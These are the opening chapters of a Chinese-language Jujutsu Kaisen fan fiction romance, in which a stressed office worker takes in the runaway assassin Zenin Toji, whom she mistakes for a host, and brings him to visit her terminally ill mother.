《和天与暴君结婚后》
1. 相遇第一天
是夜。
霓虹灯闪烁,源源不断的酒气从街边的店铺传来,男男女女路过,不管是相熟还是临时抱在一起,形单影只的人寥寥无几。
时枝感觉头晕目眩,香水的气味熏得时枝难受,抱着花坛吐了一会儿。
“啊......”时枝抬头,顶着喉头的酸涩苦辣消失了,她醉醺醺地抱怨,一解心中苦闷,“真是太失败了!我太失败了!”
时枝趴在那里像是一个黑漆漆的女鬼。
路人识相地离这个酒鬼远了一点。
她矮下身体坐到路边,回想今天的遭遇。
首先是准备结婚的男朋友被她抓到出轨,还大言不惭地说:“反正女的结婚都是要男人养,我即使现在出轨了又怎么样。”
时枝当场甩了他两巴掌。
确实大部分女人结婚后选择做家庭主妇,既有家庭主妇可以获得丈夫工资的原因,更有家庭里一旦有两人工作,税金会增加一大截的原因。
但是这些都不是她会容忍一个混蛋的原因。
然后是晚上的饭局,主管马上就要升职离开,想要在她和另一个人中间抉择谁来接手他的职位。
“虽然很想选佐藤你,但是你还没有结婚吧,以后遇到了一个好男人,就可以不那么辛苦的去当主妇了。”
主管是这么说的。
时枝只能拼命证明自己的工作能力更强,喝的酒更多,能更哄得甲方开心,然后现在烂醉如泥地蹲在路边。
为什么都要说她要做主妇,就算现在社会上的主妇那么多,也不是谁都想要回归家庭的吧。把希望寄托在找到一个好男人的身上,她小时候就知道有多不靠谱了。
而且说不定还有男人想做家庭妇男......啊不对,那个词叫家庭煮夫。
事业女子和家庭煮夫不是绝配吗?!
时枝嘟嘟囔囔地自言自语。
当然最后的一击,是她的妈妈。
她的爸爸妈妈很早就离婚了,是妈妈一直在不停的上班和打工养活了她,但是在今天,听说了她分手的了母亲伤心地说:
“妈妈得了癌症,活不了多久,现在你和浅仓君分手,以后你一个人在这个世界上,妈妈又怎么放得下呢。”
是啊,妈妈怎么会放下她呢。
……为什么这些坏事情全都一股脑扑上来了啊。
即使她现在已经是个伟大的成年女子,她也会哭的,真的会崩溃大哭的!
不过她哭不出来,好像成人已经自动被剥夺像孩子一样哇哇大哭的能力了,或许她现在连哭泣的力气都没有了。
时枝颓丧地抱着头。
胃酸还在灼烧她的食道和嘴巴。
她清醒了一些,托着脑袋,看路上的行人。
路人的影像还有些重影。
一个身材健硕的男人从对面的阴暗的夹道走出来,略有皱眉,拉起身上紧身上衣的袖子,“啧”了一声。
他手臂上有一道可怖的伤口,血渗了出来,他又把衣服盖了回去。
黑色衣料沾了血并不明显。
就如同他,明明如此显眼,但仿佛是透明人生活在世界上。
——他得找地方休息。
而禅院甚尔是不会回禅院家的。
甚尔选择逃离那个泥坑一样的禅院家也就三个月,他现在在黑市找一些活计,干的不是什么光明工作,也没有固定居所。
时枝直勾勾的眼神很快吸引了他的注意力,她看起来十分好摆平,只要到她家里把她关进卧室,他就能清闲地睡一晚上。
佐藤时枝看见那个身材很哇塞的男人看了她一眼,然后向她走过来,坐在离她不远的地方。
暧昧的灯光在他赤裸的手臂肌肉上摇曳,就像是山川高低起伏,皮肤反射的明暗但细腻的光。
——皮肤真好......他多少岁,看起来很年轻啊,肌肉怎么这么晃眼。
时枝浆糊一样的脑子转了转。
这是一个和她一样,单独出现在繁华街道的男人。
——失恋了?
不管怎样,也肯定是面对着人生大事却不可避免失态了吧。
一定也是在生活里挣扎,但莫名其妙陷入泥潭里了吧!
这个世界对他们太残忍了,就算是倒霉也要有个限度吧?!
醉鬼时枝一拳头砸到地面上,愤然说:
“你说恋爱到底有什么魅力!难道不就是,嗝,找到了一个合适的人,然后结婚这样的事吗?!为什么为什么!现在会这么麻烦。”
“会影响到工作,会影响到我心情,还会影响妈妈的愿望!”
时枝看向了同是失恋者的男人寻找认同,“喂,你说是不是。”
甚尔意外地看了她一眼。
“或许你不需要结婚。”
时枝重复,“不结婚?”
她不知道她现在看起来傻乎乎的,看起来很好骗。
但是转而,时枝暧昧地笑了笑,目光扫了扫甚尔的身体。
“一夜情啊,或者非正式交往的关系?”
她的笑意很快淡下去,“如果那么简单就好了。”
她独自惶惶几秒,他们之间很寂静,但四周车水马龙行人如织。
“我啊。一直想如果生活、就这么放任下去就好了,像沼泽一样,假装我和其他人一样,把我陷进去就好了,把我窒息地弄死就好了。”
时枝喃喃自语。
甚尔眉头上扬。
“太容易了,生活有好多次机会都想把我按死。
“如果我没有努力考上名牌大学就不可能找到正式的工作,如果我一毕业就和浅仓结婚、他那个样子一定和我的爸爸一样,甚至如果我今天假装没看到男友、前男友劈腿,容忍了他为了妈妈和他和好结婚......”
“可是我都不愿意。”
这个黑发的女人举起了自己的手,那是一双纤细,握笔的地方有明显茧子的手,她的眉毛黑而清晰,脸上的表情十分委屈而愤怒,眼睛却生动明亮。
那些光不像是从霓虹光里借来的。
“我还是,一点一点从泥沼里在往上爬。我到底是为了什么这么做,这也太可怕了吧!!”
生命就像是不断向上生长的植物,够不到太阳,但始终在长。
时枝平复了一下情绪,把手放下来。
她努力够和她有些距离的甚尔,拍了拍他的胳膊。
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“兄弟,你要相信自己,一个女人没了,还可以找下一个。我也是,一个男人没了,我下一个就能找到一个愿意当家庭煮夫的男人。
“这个世界上,可是有三十五亿的女人,三十五亿的男人!”
时枝安慰对方,也是在安慰自己。
只是她感觉自己手底下有点潮湿,想起来自己曾经呕吐过,连忙想把手收回来。
一双温暖的大手握住她的手,温暖了她深夜凉风中冰凉的手掌。
时枝愣住抬头看他,她试着动了一下,手没抽出来。
“欸?”
时枝惊讶。
面前的男人低垂的眼眸,本来就不错的脸现在看起来更有味道了。
她确定面前这个男人绝对已经成年了,年轻人是不会有这样低落失意的表情。
甚尔微皱着眉,用力用大拇指搓她手心里的血迹。
他只是想要找个住的地方,绝对不想暴露自己受伤。
他怀疑伤到他的那个咒术师的武器上是不是涂了麻药,他现在还心跳过快,视野模糊,有些听不清街上其他人说了什么,只能看见面前这个——
沮丧又闪闪发光的女人。
“.......我怎么,闻到了血腥味。”时枝喃喃,不过这不重要。
她是被男人非礼节性地握手了吧,对方绝对是在示好吧。
甚尔警惕地盯着她。
甚尔进入普通人社会的时间也不算短,已经知道大部分人遇到身上有血的人会选择报警,等于会给他带来麻烦,他的气质就变得危险起来。
甚尔想怎么把自己受伤的事糊弄过去,突然身旁的女人哀嚎。
“我怎么会在有艳遇的时候来月经!!!”
时枝悲怆。
甚尔不自觉松了一口气。
时枝捂着肚子扭动,“忘记一段感情最快的方法就是开启另外一段感情,但来月经除外,欸......为什么这个月不疼?”
时枝纳闷地碎碎念,“难道是酒能温暖身体?不管反正不行,因为疼痛会让人清醒......我每到这种时候,只会想杀了所有人,尤其是甲方......你知道吗?我的怨气完全可以变成般若.......”
甚尔刚刚想醉鬼自己把自己糊弄过去了,但现在看她这样,自己还是先走为好。
可要变成般若的女人头一歪,靠在甚尔的肩膀上睡着了。
甚尔:......
这下不仅没有找到落脚的地方,身上还多了一摊醉鬼。
麻烦越来越多了。
甚尔正准备把她丢下,女人突然惊醒,怒目圆睁。
“我还不能睡,我要回家!”
……他开始觉得这个女人有趣了。
不知道是不是她喝醉的缘故,明明听她的抱怨内容应该已经是个上班族,但是言语却幼稚。
时枝迷迷糊糊,推开甚尔站起来。
她听见她旁边的人问:“你家在哪,我送你回去。”
——这是谁啊?
睡着一秒又醒来的时枝,没想起来甚尔是谁,还以为是刚才酒桌上的同事。
“在xxxxx。”时枝放心地说。
2. 相遇第二天
清晨的阳光照在时枝的脸上,她朦朦胧胧醒来,下意识摸手机看时间。
“10点了!!”
时枝坐起来。
她突然想到今天是休息日,瞬间放松。
时枝摸了摸有些痛的头,昨天正是因为今天休息,所以她才会和上司同事出去喝大酒。
她的工作普普通通,主管算是个还不错的人,他在主管的位置上待了很多年,现在资历和实绩都又升任再正常不过。最有希望接手主管位置的人——时枝认为必须是自己,自己的工作能力和成绩都是毋庸置疑的top1。昨天他们出去喝酒,时枝也有打听这方面消息的心思。
佐藤时枝用力敲了敲脑袋。
然后中村主管说了什么来着?
他好像说他也看好她,但认为她会结婚成主妇,所以还是田中好。
——拜托,他们不是佐藤就是田中,都是随口一叫街头上回头的人多如牛毛的姓氏,哪有什么主角光环非他不可。
更何况她已经把浅仓甩了。
这一下又是成片的记忆涌现,时枝叹了口气,“烦死了。”
她推开被子穿上拖鞋,看到自己身上还是昨天出门的衣服,动作迟疑了一瞬。
就在此时,卧室外传来了一些不同寻常的响动。
时枝瞬间警觉。
她在自己房间里拿了一个花瓶,蹑手蹑脚走出卧室。
厨房里有个人影晃动,火苗燃烧的声音很温暖,男人的声线低沉。
“......我知道要守规矩。”
甚尔用勺子搅拌锅里的稀粥,电话里的孔时雨声音抓狂。
【知道你还这么做!!禅院你杀目标也就算了,把雇主杀了是怎么回事!!】
孔时雨和禅院甚尔合作的时间也没多久,一开始听到甚尔姓禅院兴奋了许久,御三家的咒术师至少比那些自己摸索咒术的野生咒术师实力强,平时又都眼高于顶,不容易搭上。
现在看来,果然免费的就是最贵的。
“是她先违反协议,我只是下意识还手,然后离开了而已。”
甚尔百无聊赖地解释,“还有,别叫我那个名字。”
【好吧,那还情有可原。但现在钱拿不到了,你以后遇到这种情况和我沟通,要不然我们都白忙活。】
甚尔的动作一顿,目光沉沉地盯着锅。
“……”
他没钱了,他把钱拿去买咒具了,反正他的钱不是花在赌马上就是花在咒具上。
孔时雨听见他没说话也猜到这人现在破产了,【你还是去找个女人包养吧。】
甚尔对于孔时雨的提议无所谓,在这个贩卖身体作为寻常事的国家,到处都是期待有人把自己捡回家的神代少女,多他一个男的也不多。
但比起找个女人,还是接单杀高高在上的咒术师更让他高兴。他待会儿就去找其他情报贩子问问有没有单。
甚尔挂掉电话转头。
相比于没钱这件小事,他更在意后面那个鬼鬼祟祟的女人,虽然他目前在她家。
时枝讪笑着把花瓶放在桌子上,“昨天是你送我回来的啊。”
甚尔“嗯”了一声。
昨天他从她身上摸出来钥匙,把人扔到床上后翻出她家的医疗箱,用绷带随便包扎了伤口,还洗了个澡。
甚至现在还做起了饭。
只是下一秒,时枝抿着嘴问:
“你是牛郎?”
甚尔:……
甚尔:?
如果说时枝听见家里有陌生人的声音十分警惕,那等她看见偶遇的男人正在她家做饭,那她就开始怀疑自己是不是产生幻觉了。
看见甚尔危险的眼神,时枝立马摆摆手解释,“我没别的意思,就是你手机漏音,我听到了最后一句。”
男人盯着她看了好一会儿,然后若有所思地看向自己手机,又看向她,似乎在评估她说的是不是真话。
时枝听到他说违反协议动手,还以为他是危险人物,毕竟他嘴角的疤和身材看起来都不好惹,但她走近听到一句【你还是去找女人包养吧!】,一下就把事情转换成夜店牛郎因为金主撕毁协议导致的桃色事件。
时枝回想自己遇到他的地方,再加上他如此贤惠的早起做饭,如此顶级的身材,越发笃定他的身份。
这不就是电视新闻上播报的顶级小白脸会为金主做的事?遇到小白脸的概率可比遇到杀手的概率大多了。
时枝已经看向锅里香喷喷的粥。
当然最根本的原因还是,他抢劫不用留下来做饭,他劫色也不用把她丢在床上一夜不管。
他还把自己搞得干干净净,穿上她的粉色花边围裙,腰和围裙最窄的地方一样宽,这就怪不得她又色又饿了。
不过她现在还是饿居多。
时枝听见自己的肚子叫,昨晚的酒液和今早的胃酸混在一起,一点都不好受,急需食物把它们压下去。
“什么时候能吃?”
“马上。”甚尔疑惑地看了她一眼。
“好耶。”
时枝欢欢喜喜从橱柜里掏碗,神经大条,丝毫没有自己刚刚逃过一劫的意识。
她把碗放在台面上,自顾自地说:“亲爱的我先去洗漱,马上就出来吃~”
甚尔:......
他怎么就成亲爱的了?
洗手间里,时枝对着镜子扒拉眼皮,观察眼睛有没有红血丝,然后洗脸卸妆。她昨天只画了淡妆,口红也早就掉完,现在只是脸色比之前暗一些,黑眼圈更明显,皮肤状态还行,吃完饭后可以敷张面膜急救。
“我还是有点姿色的吧。”时枝自言自语。
昨天她的心情实在太差了,确实动了破罐子破摔随便纵欲的想法,单凭外表条件他们谁都不亏。可是……想到这里她赶忙走进厕所,没发现裤子上有血迹。
时枝叹气。
误以为自己来月经未必不是坏事。她现在都在庆幸了,真发生了什么还不知道有多后悔。
说起来她还不知道男人的名字,她想起自己刚刚靠近听到的,深感为难。
昨晚应该算她收留对方,她不用付钱吧......?
时枝出来的时候,男人已经关火了,时枝笑脸迎上去盛饭端碗。
一口热乎乎的粥喝下去,她紧皱的眉头都被抚平了。另外还有一些简单的配菜,热食吃得舒坦又解乏。
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“你叫什么名字。”时枝问。
“甚尔。”
“......姓氏呢?”
回答她的是甚尔的沉默,餐桌对面的男人看起来不太开心的样子,时枝掐了一个OK 的手势。
“好好,我不会问了。我叫时枝,姓佐藤,几百年以后据说会让整个国家都合成大佐藤的佐藤。”
男人对她的笑话没什么特别的反应,只是撩起眼皮看她。
“佐藤,你要加砂糖么?”
“啊,”时枝愣了一下,才反应过来自己的姓氏和砂糖同音,笑出声来,“你这个家伙原来是会冷面讲笑话的类型?”
她笑够了才说:“我要,我当然多加砂糖。”
甚尔看着她,起身去拿了糖罐过来。他的目标很明确,没有四处翻,直接拉开了一个抽屉。
时枝叼着筷子,心想他怎么把自己家摸的这么熟了,但转而就沉默了。
——想要做一个贴心的牛郎果然不容易,不仅要做饭好吃还要面面俱到。
“你的工作很辛苦吧。”
“还好。”甚尔说,就是杀个人赚点钱。
时枝有点好奇地问:“你是什么开始干这行的?”
“几个月前。”
“那是怎么入行的,有类似于星探的那种人吗?”
甚尔手敲着桌子,明明知道她误会了,但还是说了一点东西,“一开始出来没有住的地方,随便找了个工作,有人招揽我就去了。”
比起他之前遇到的人,至少面前这个女人不讨厌。
普通人的身份或许更好和她沟通,咒术界那群人不让普通人知道咒术界不无道理。
“这样啊,”时枝连连点头,已经帮他自圆其说,“没有固定居所很多证件都办不了,确实找不到其他工作。但是你也可以赚到钱以后租个地方就能改行了。”
“没意义,反正都是烂泥一样的生活。”
甚尔的表情平静得没有任何波澜。
他刚从禅院家出来的时候,倒是有一点点不切实际的想法,但是很快发现普通人的世界也有两层,他这种人只是从一个泥潭到了另一个泥潭,只是他在这个泥潭里是可以吃小鱼的大鱼。
时枝对于他说的没意义完全不反对,“能找到人生意义的人全世界也没有几个。主要是我看你也不像喜欢这个职业,如果喜欢的话,也不会用烂泥这个词。”
“.......”
甚尔也不知道自己喜不喜欢这个职业,他不是很有所谓。
时枝自知自己交浅言深了,“抱歉,我说多了。”
她有点犹豫,看着面前的男人,而甚尔也看着她。
他们手机消息的提示音不约而同地响了。
【孔时雨】:今天有很多人在找你,你最近别来避避风头。
【妈妈】:你今天来医院吗?浅仓也来了。
空气瞬间静默。仿佛又无形的力量把他们的声带和心跳都捏住。
甚尔不耐烦地把手机拍在桌子上,时枝倒吸一口凉气。
几秒钟后,两个人对视一眼,同时开口。
“我想住你这。”
“甚尔你能陪我去医院探望母亲吗?”
3. 相遇第三天
甚尔是不愿意跟着时枝去医院的,一听就很麻烦。
餐桌对面的时枝比他的反应更快,“这样你看行不行,我可以暂时让你在这里住一个星期,现在市场上租一间房是xxxx円,算下来你一周租金是xxxx。”
甚尔闭眼,他现在一分都没有。
“当然也有第二的选择,”佐藤时枝十分贴心地提议,“你陪我去一趟医院作为抵消。”
甚尔用一种奇怪的眼神看她,“我也可以再出去找地方住。”
而且他想要霸占这个房子根本不用和她谈。
时枝动了动手指,“真的吗?”
甚尔不像社会经验很多的样子,他刚才的反应已经证明了他很着急找个地方住,八成是昨晚他得罪的金主在找他麻烦,而且,他身上绝对没有多余的钱了。
甚尔看着面前气定神闲的女人。
他有点不爽,但此时理智告诉他这笔交易很划算,如果他对她动手,时枝有着完整社会关系别人也会很快察觉不对。
而从昨晚听到的她的抱怨,他大概只用在她母亲那里扮演一下男朋友而已。
“那好吧。”
甚尔答应了。
时枝不动声色,她预想的其他情况不会发生了。牛郎虽然是个合法职业,但几乎所有从业者都禁不起细查,情况不好的话她会选择报警。
......说实话,她抢先提出房屋租金问题,是怕他说他提供服务要钱。
“那我们收拾一下就出发,”时枝说,“你的手臂是怎么回事。”
她记得昨晚他没有受伤。
等等,她昨晚好像是闻到了血腥味。
时枝伸手,心中疑惑,“你要不然也去医院包扎上药?”
绷带没有扎得很紧,她一抽就松开了,下一层有一圈渗血,时枝心头一紧,反而对甚尔多了点提防。
沾血的绷带滑落,只有一条细细的伤痕,像是被指甲挠了一长条。
时枝:.......
她低头看了看自己的手。
这怎么看都像是不久前被女人挠的伤口,不会是她昨晚无意识挠的吧?
甚尔抬了抬手臂,平淡地说:“没事。”
时枝没有具体分辨伤口到底是怎么造成的能力,他昨晚的伤口几乎愈合了。
他的身体恢复力比普通人强百倍,再重的伤只要挺过一晚他都能活下来,没这个本事他早死在禅院家了。
“你包扎的手法也太差了,”时枝心虚地说,“一道这么细的伤口都挤出来了这么多血,包扎就是为了止血啊。”
甚尔摸了摸脖子,不知道该说什么,无所谓地耸肩。
收拾妥当,时枝带着甚尔出门。
“待会儿见到母亲,我会说你是我的新男朋友,”时枝挑剔了一下甚尔的打扮,她确实挑不出什么错,就是这身黑色紧身上衣外加灯笼裤不像是年轻人穿的,像道场里图方便的中年大汉,“算了,先带你去买衣服,就当我送你的。”
两个人急匆匆拐去商场。
时枝给他简单配了一身,销售夸赞甚尔的身材好,穿什么都好看。
她听听就过了,这种身材反而需要挑选好衣服才能显现出来精气神,甚尔原先那身虽然老气横秋但确实很凸显他身材优点,要不然鼓鼓囊囊的肌肉就会被误认成是肥肉。
“你倒是很意外地适合穿白色么,”时枝说,“蛮帅的。”
剪裁合身的白西装上衣穿起来很有束缚感,甚尔动了动肩颈,仿佛下一秒就是一只肌肉虬结的黑豹要从西装里跑出来。
时枝没忍住上手,按住他的手臂,“我母亲问你什么你说就是了,身为牛郎说话应该不用我教你,让她开心就好。”
她心里又惊叹了几秒,把手移开了。
——当然最重要的是浅仓跑去医院绝对不怀好意。
时枝面容严肃起来,明明他们分手只是他们的事,居然还闹到她妈妈那里。
她知道用另一个男的证明自己不需要上一任男的很愚蠢,但这是最快的摆脱纠葛的方法,甚尔还比他块头大,魅力更足,绝对会让他的自信心受到打击。对付别人肯定要用能打击到对方的方法。
甚尔左耳朵进右耳朵出。他已经开始想念自己的旧衣服了。
时枝深呼吸两次,“走吧。”
她摸了摸自己包里的银行卡,里面是她这么多年的积蓄,她只给自己留下了可以撑到发工资日子的钱。
她一定要救妈妈!
甚尔看她一副要去打一场硬仗的模样,心中有些好笑,不过也还是稍微端正了姿势。他不知道自己能不能做好,但他对自己受女人欢迎这件事还是清楚的。
到了医院附近,时枝一头就要扎进住院部去。
“要不要买点探望病人的礼物。”
甚尔突然说。
时枝有点不耐烦,这都什么时候了,但转念一想,如果这是真的男朋友见亲属的第一面,理应是要送点东西的,做戏做全套。
她咬着嘴唇捏着钱包,想着花钱也不差这点了,“走,去那边买。”
甚尔也只是随口一说,他的宜人性实在不高,只是看见一些路人手里拿着东西而已。
时枝买东西的时候一直在看手机上的时间,看起来越来越焦虑,但当他们走到病房的对应的楼层,她的紧张瞬间变成昂扬的斗志。
她回头看了一眼甚尔,“东西拿好,跟上我。”
时枝拎着包大步向前走,攥紧了拳头。
她要把浅仓的头打爆。
家人是她最后的底线。
甚尔听见她鞋跟踏在医院地砖上的声音分外清脆,飘扬的发丝也分外张扬,或许是他一直以来身处的环境使然,他从来遇见过如此鲜明热烈的人。
时枝径直走向某个病房,深呼吸后一把拉开病房的门。
“妈妈,我到了!之前给你发消息你看到了吗?”
时枝的声音又亮又轻松,她只花了一秒判若两人。
甚尔愣了愣,视线越过时枝看到病房里,正对门的窗台上有一束新鲜的送给病人的花,但是里面没有其他人,只有病床上躺着的瘦瘦小小的中年女人。
她脸色憔悴,能看出来她和时枝长相的相似,气质却温柔很多。
“小枝,他是.......”佐藤秀子温和地问。
时枝肘了甚尔一下。
“阿姨您好,我是时枝的男朋友禅院甚尔,您叫我甚尔就好。”甚尔嘴巴熟练地说出了一路上时枝不停给他灌输的内容。
时枝笑了笑,“妈妈,你看他是不是比浅仓帅多了。”
佐藤秀子无奈又包容地笑了,“是,是个高个子的帅小伙。”
“赶过来很累了吧,你们快点坐下来。”
甚尔在时枝的母亲的招呼下坐下,却有些手脚不知道怎么放的局促,他以前也不是没见过自己的父亲和直毗人之类的长辈,却从未如此紧张。
“不用买这些东西,我现在也吃不下,”时枝妈妈摸了摸他们送的水果,“待会儿你们拿回去自己吃吧,不要浪费了。”
时枝抿嘴,“不要拒绝嘛,这是甚尔送给你的,他还特意问我都是挑你喜欢吃的。生病的事不用担心,我一会儿去和主治医师聊,不用担心钱。”
“有你在就很好,医生说的一些话我也没有听懂。”时枝妈妈说,“好像现在刚好就是森田医生上班的时间。”
“我可是很能干的。”时枝高兴地说,她犹豫地看了表,“那我现在就去找医生吧,不然他要下班了。”
“你去吧,我和禅院君聊一聊。”
时枝站起身,告诫似的看了一眼甚尔才走出病房。
甚尔:.......她就这么被支走了。
虽然他不是很懂人情世故,但时枝母亲故意把时枝支走用的小计谋他还是懂的。
“咳咳。”佐藤秀子虚弱咳嗽两声,语气很轻的和甚尔聊天,“小枝的性格比较急躁,她过一会儿就回来了。”
“禅院君是哪里人,京都么?”
甚尔想起来时枝说要让她母亲高兴的话,但是让一位母亲高兴的话和让女人高兴的话应该不一样吧。
他调动自己不多的情商,“嗯,家里是京都的,从小家里管的比较严.......”
他从美化过的禅院家聊到了他厌倦那里离开,遇到明媚的佐藤时枝,从自己几
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乎已经淡忘的关于母亲的记忆,聊到时枝很在乎秀子的健康,几乎把他的大脑掏空。
他只有在杀难杀的咒术师的时候才会这么绞尽脑汁。
明明时枝的母亲脆弱又弱小,他甚至能听到她疲惫不堪的心脏孱弱泵送的心跳,却在她的一声声话语里更加紧张。
病房外。
时枝和医生聊天,才知道浅仓也来问过医生,她一想就知道,浅仓来之前不知道妈妈的病很严重,问完怕沾染上麻烦,才赶紧走。
真是一个彻头彻尾的渣男!时枝心里吐槽。
时枝又和医生详聊了治疗方案,可是医生只是摇头。
她梦游似的走回去,站在房门外很久没动。
房间里传来声音:
“.......你的母亲如果还在,看到你脸上的这道疤也会心疼的,也一定会和那些欺负你的人拼命。”
时枝眼泪掉下来。
“或许吧。”
甚尔很久之后才说话。
“一定是的,我能撑过来是因为有小枝,可是小枝现在没有了我,就什么都没有了。你一定要对她好,你们要相互依靠着走下去,以后都会幸福的。”
时枝擦着眼泪,什么幸福不幸福,甚尔和她只是萍水相逢的关系。她心里又涌现出无限的内疚,推门进去打断了他们的对话。
秀子招手让她过去,拉着她的手和甚尔的手放在一起。
“好好在一起。”
时枝抿着嘴看向甚尔,他迟疑地看向她。
“我们当然会好好在一起。妈妈,我可是很难才找到这么一个做饭好吃,长得好看,又愿意当家庭煮夫的男人。”
时枝装作底气十足地说。
佐藤秀子叹气,“上午的时候,浅仓君来找过我,他说自己犯了点小错惹你生气。”
她还没讲完时枝就忍不住抢话,“他被我当场抓住出轨了,还好意思说。”
甚尔放在她下的手指动了动,时枝看向他,意识到了什么。
——她总不能说自己昨天才和甚尔认识吧。
时枝撑着面子,随机应变:
“啊,不过其实我也出轨了,终于能正大光明甩了他,早就看他不顺眼了。”
秀子只是拍了拍她的手背,“他也说你是找借口和他分手,在我面前说了你一堆好话,说你的性格一定会全力救治我,你不忍心拖累他,才挑这个时间点和他分手,他会永远记得你对他的好。”
时枝睁大眼睛,心里咬牙切齿。
“其实结婚也好,不结婚也好,妈妈只是希望孩子幸福。”
他们走出病房的时候都沉默了。
时枝沉浸在自己的世界里,没有太关注到也有些异常的甚尔,缴完费走出医院后,甚尔才问:
“你家一直是这样?”
时枝吸着鼻子,手里拿着卫生纸,“什么这样那样?我怎么没早点发现她身体的问题,如果我多去看看她……”
她难过的情绪虽然消退了一点,但并没有消失,反而助长了熊熊怒火,“太不要脸了,那个[哔——]居然在我妈面前说这种话。”
如果浅仓直接跑了,时枝还能说这人是个真小人,结果走之前还要在她妈妈面前自以为是的表演一番,实在是恶心透了。
她掏出来手机给浅仓打电话,幸好他还没拉黑她。
时枝一直把他骂到打不通电话了,才心不甘情不愿地收起手机。
甚尔看着她泄愤,“需要打他一顿么?”
——杀了也不是不可以。
时枝有点蔫了吧唧,“算了吧,我不爽但也不想再和他有牵扯,最近要好好照顾妈妈,仇我先记下了。”
“今天谢谢你甚尔,”时枝看了看他,“我感觉母亲心情确实不错,和你聊天她很开心。”
她觉得甚尔的业务能力很过关。
“嗯。”甚尔手插在口袋里,不知道在想些什么。
时枝感觉气氛有点不对,以为他是担心住宿的事,琢磨着说了一句:
“放心,我之前说的有效,你可以在我家住,以后有需要的地方也可以和我说。”
甚尔看了她一眼,眼神复杂。
4. 相遇第四天
时枝回到家就开始整理自己的工作进度。
卧室的书桌地面被她摆得一团糟。
她整理到一半,甚尔来敲她的门,时枝应了一声。
甚尔打开门,却没走进来,蹲下来看她铺了一地的文件,问:“你这是做什么。”
时枝用手擦额头上的薄汗,“我打算把才开始没多久的项目给同事去做,腾出来时间去医院陪护。”
接下来她要以照顾母亲为主,注定没办法在工作上投注太多的精力,也代表她退出主管的竞争。
......其实她也没有什么上进心,就是单纯被气到了,觉得应该是自己的东西凭什么因为一个荒谬的理由抢走。
有可能也是时也命也,晋升机会和陪伴母亲最后时光,她选择后者。
甚尔微微挑眉。
“你不是要找个家庭煮夫全力冲刺事业?”
时枝手上的动作一顿,苦笑地说:“开玩笑的......”
“而且医生说,母亲可能也就是下个月的事了,这个时候我不在她身边还有谁能陪伴她。”
甚尔觉得自己应该是无所谓的,但是他的手指不自觉指了一下自己。
“......你?”时枝问。
“我正好没事干。”
“你又不是她女儿。”时枝无语地瞪了他一眼。
“但我去很合理,”甚尔回答,“你不应该放弃晋升。”
时枝不知道他说这句话的动机是什么,但能感觉到他的善意,她叹气,“其实我也有感觉,如果我放弃了这次机会,以后很难再升职了。”
甚尔只是说:“先吃饭。”
时枝立即就把这些事抛到脑后,她后天才上班,到时候说不定就有结论了。
她跟着甚尔蹦蹦跳跳地走出房间。
一进到客厅里饭菜的香味就扑过来了。
午餐要比早餐丰盛,时枝十分感动,拿她冰箱里的那些食材居然能做出来这么好吃的饭菜,她以前简直是糟蹋食材。
甚尔不动声色,把食谱书塞到不明显的地方。
“我开动了!”
时枝双手合十,拿起筷子。
她吃饭的时候也在偷偷观察甚尔。
甚尔的身材什么的先不谈,如果她以后还想吃到这么美味的饭菜,甚尔的心情至关重要。
因此她几乎在每一口感觉好吃的时候,都会夸赞出来。
直到甚尔让她闭嘴好好吃饭。
时枝不是没看到食谱,可是她每次按照食谱做也做不出来什么好吃的,而且还不如她自己随便蒸米饭团饭团带走。
由此她觉得,就算是对着食谱能复刻出来美味,也是一件不容易的事。
毕竟在工作中,可是遇到了很多不看合同,也看不懂各种条款的甲方。
时枝吃饱了躺在沙发上,看见甚尔忙忙碌碌收拾,也连忙走到厨房去,“我来洗碗吧~”
甚尔还是围着她的小碎花围裙,似乎尺寸还有些小。
“不用,你拿着这个去医院。”
他把一个便当袋塞进了时枝的手里。
“......谢谢你。”
她妈妈在医院里如果能吃到家人送去的食物,应该也会欣慰吧。
时枝倒是有些不自在了,她是可以用这是八面玲珑的牛郎的职业素养来说服自己,可是到底这份体贴太周到。
“你今天已经帮了我很多忙了——”
“啪!”
甚尔一个手滑,沾了洗洁精的碗掉在了洗碗池边上。
......他确实没怎么洗过碗。至于为什么会做饭,是因为有时候他实在没吃的时候,只能偷溜进禅院家厨房,或者自己进山搞一点。
“还好没有掉在地面上摔碎。”
时枝十分庆幸地说。
“嗯。”甚尔捡起那个碗检查,只是边缘被磕掉了一点碎末。
“下次小心一点就好了,”时枝毫不在意,“咳咳,下次还是我来好了,不然我还怪不好意思的,你都已经做饭了。”
她精神抖擞地把甚尔挤开,手脚麻利地把剩下的碗碟洗干净。
甚尔默默去擦桌子了。
也没有花多少时间,大概十分钟以后,时枝就拿着便当出门了。
时枝临走前对甚尔说:“如果你要出门钥匙在衣架上,我的卧室你不能进我回来还要继续收拾,拜拜~”
甚尔有点僵硬地学着她的摆了摆手。
时枝关上门,嗒嗒的脚步声走远,房间突兀的寂静了。
这只是一个小小的单身公寓,从门口简陋的玄关,到摆放了沙发餐桌小茶几的客厅,以及和客厅连通的厨房,稍微好一点的是床可以放在单独的卧室里而不是和客厅在一起,这已经是年轻人相当不错的住宿条件了。
甚尔坐在沙发上,手臂几乎能把这个沙发长度搭满。
或许都是虚妄的。
但是在荒芜的人生里,看到了一点与众不同的光彩,他是如此想要把它攥进手心里。
他静静地沉思着,掏出手机,拨通了孔时雨的电话。
“喂。”
“不是接活。”
“我要一套身份证件,名字随便。”
“啧,那还是禅院甚尔。”
“干什么?我想结婚了。”
【哈??】
孔时雨快被他整崩溃了。
甚尔在他爆发前挂断了电话,他以前的干的活又不是没有给他分成。
如果不是他已经对时枝的母亲说出来自己叫什么,他原本是想让孔时雨随便给他起个姓的。
等他入赘佐藤家,那个短暂的出现在他身份证件上的“禅院”,就能干干净净彻彻底底的从他的生命里消失了。
过了一会儿,他的手机响了,是孔时雨打来的。
甚尔想了想,还是接了,毕竟可能和刚才办//证有关。
但孔时雨严肃压低的声音的电话那边传来,说出了令人出乎意料的内容。
【你和我说实话,你离开禅院家的时候是不是搞了什么事。】
“怎么了。”
甚尔问。
电话那边传来的匆忙走路的声音,孔时雨说:【有两个姓禅院的人在找你。】
甚尔的沉默令人不安。
【喂?】
“他们在哪,我去找他们。”
听见电话里的甚尔这么说,躲在建筑物后面的孔时雨偷偷探出头,看那两个禅院家咒术师的动向。<
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虽然甚尔给他找麻烦,但几个月来,他给他带来的利益是在太多了。
